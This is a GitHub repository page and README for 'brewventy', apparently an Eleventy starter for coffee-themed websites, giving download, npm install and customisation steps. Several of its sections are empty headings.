Skip to content

☕ Build a customizable coffee-themed website with Brewventy, an Eleventy starter project designed for blogs, docs, and landing pages.

License

Notifications You must be signed in to change notification settings

maguedal/brewventy

Repository files navigation

☕ brewventy - Your Custom Coffee Website Starter

🚀 Getting Started

Welcome to brewventy! This is a coffee-themed starter project built with Eleventy. It offers a beautiful design and powerful tools, making it ideal for personal blogs, documentation sites, and landing pages.

⚡ Features

  • Fully customizable design tailored for coffee lovers.
  • Easy setup for personal blogs and documentation.
  • Responsive layout for mobile and desktop users.
  • Built with Eleventy, SCSS, and Markdown for smooth content management.
  • Supports Nunjucks for template rendering.

📦 System Requirements

Before you begin, ensure your system meets the following requirements:

💾 Download & Install

To get started with brewventy, visit our Releases page to download the latest version.

Download brewventy

Step-by-Step Installation

  1. Visit the Releases Page: Click on the link to go to our Releases page.
  2. Choose Your Version: Find the latest release. Each version includes a list of new features and fixes.
  3. Download the Package: Click on the download link for your platform.
  4. Extract the Files: Once downloaded, extract the files to a folder on your computer.
  5. Open Your Terminal or Command Prompt: This step is necessary for the setup.

Running brewventy

  1. Navigate to Your Project Folder: Use the terminal or command prompt to go to the directory where you extracted the files.
  2. Install Dependencies: Run the following command to install all necessary packages:
    npm install
  3. Start the Development Server: Use this command to launch your local server:
    npm start
  4. Open Your Browser: Go to http://localhost:3000 to view your new coffee-themed website.

🌟 Customizing Your Site

The beauty of brewventy is in its customization. Modify the following files to make the site your own:

  • Site Content: Look for the src directory. Here you can edit existing Markdown files or add new content.
  • Styles: Update the SCSS files located in the src/scss folder to match your branding.
  • Templates: Make changes to the Nunjucks templates in the src/_includes folder to adjust the layout.

🛠️ Troubleshooting

If you run into issues, check these common problems:

📚 Additional Resources

🤝 Contributing

We welcome contributions! If you have suggestions or improvements, feel free to create an issue or pull request.

👥 Community

Join the discussion and share your brewventy projects with other users. Connect with fellow coffee enthusiasts and developers on our GitHub discussions page.

📧 Contact

For any questions or feedback, please open an issue on this repository, and we will get back to you as soon as possible.

🕒 Changelog

  • Version 1.0.0: Initial release with basic features for creating a coffee-themed site.

Now, let’s get brewing! Enjoy your journey with brewventy and craft your perfect online coffee experience!

Download brewventy

About

☕ Build a customizable coffee-themed website with Brewventy, an Eleventy starter project designed for blogs, docs, and landing pages.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •